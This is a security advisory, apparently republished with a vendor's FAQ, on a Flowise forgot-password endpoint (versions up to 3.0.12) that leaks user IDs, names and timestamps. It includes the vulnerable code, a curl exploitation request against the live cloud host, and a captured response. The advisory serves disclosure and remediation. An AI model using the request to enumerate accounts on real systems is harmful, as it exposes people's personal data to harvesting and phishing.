GHSA-JC5M-WRP2-QQ38

The /api/v1/account/forgot-password endpoint returns the full user object including PII (id, name, email, status, timestamps) in the response body instead of a generic success message. This exposes sensitive user information to unauthenticated attackers who only need to know a valid email address.

Vulnerability Details

Root Cause

In account.service.ts, the forgotPassword method returns the sanitized user object instead of a simple success acknowledgment:

public async forgotPassword(data: AccountDTO) {
    // ...
    const user = await this.userService.readUserByEmail(data.user.email, queryRunner)
    if (!user) throw new InternalFlowiseError(StatusCodes.NOT_FOUND, UserErrorMessage.USER_NOT_FOUND)

    data.user = user
    // ... password reset logic ...

    return sanitizeUser(data.user)  // Returns user object with PII
}

The sanitizeUser function only removes sensitive authentication fields:

export function sanitizeUser(user: Partial<User>) {
    delete user.credential    // password hash
    delete user.tempToken     // reset token
    delete user.tokenExpiry

    return user  // Still contains: id, name, email, status, createdDate, updatedDate
}

Exploitation

curl -X POST "https://cloud.flowiseai.com/api/v1/account/forgot-password" \
  -H "Content-Type: application/json" \
  -d '{"user":{"email":"[email protected]"}}'

Evidence

Request:

POST /api/v1/account/forgot-password HTTP/1.1
Host: cloud.flowiseai.com
Content-Type: application/json

{"user":{"email":"[email protected]"}}

Response (201 Created):

{
    "id": "56c3fc72-4e85-49c9-a4b5-d1a46b373a12",
    "name": "Vefag naprb",
    "email": "[email protected]",
    "status": "active",
    "createdDate": "2026-01-17T15:21:59.152Z",
    "updatedDate": "2026-01-17T15:35:06.492Z",
    "createdBy": "56c3fc72-4e85-49c9-a4b5-d1a46b373a12",
    "updatedBy": "56c3fc72-4e85-49c9-a4b5-d1a46b373a12"
}

Exposed Data

Expected Behavior

A secure forgot-password endpoint should return a generic response regardless of whether the email exists:

{"message": "If this email exists, a password reset link has been sent."}

References

• CWE-200: Exposure of Sensitive Information
• OWASP Authentication Cheat Sheet

An unauthenticated attacker can:

1. Harvest PII: Collect user IDs, full names, and account metadata
2. Profile users: Determine account creation dates and activity patterns
3. Enumerate accounts: Confirm email existence and gather associated data
4. Enable further attacks: Use harvested data for social engineering or targeted phishing

Kodem intelligence

1. What is GHSA-JC5M-WRP2-QQ38? GHSA-JC5M-WRP2-QQ38 is a medium-severity security vulnerability in flowise (npm), affecting versions <= 3.0.12. It is fixed in 3.0.13.
2. Which versions of flowise are affected by GHSA-JC5M-WRP2-QQ38? flowise (npm) versions <= 3.0.12 is affected.
3. Is there a fix for GHSA-JC5M-WRP2-QQ38? Yes. GHSA-JC5M-WRP2-QQ38 is fixed in 3.0.13. Upgrade to this version or later.
4. Is GHSA-JC5M-WRP2-QQ38 exploitable, and should I be worried? Whether GHSA-JC5M-WRP2-QQ38 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
5. What actually determines whether GHSA-JC5M-WRP2-QQ38 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
6. How do I fix GHSA-JC5M-WRP2-QQ38? Upgrade flowise to 3.0.13 or later.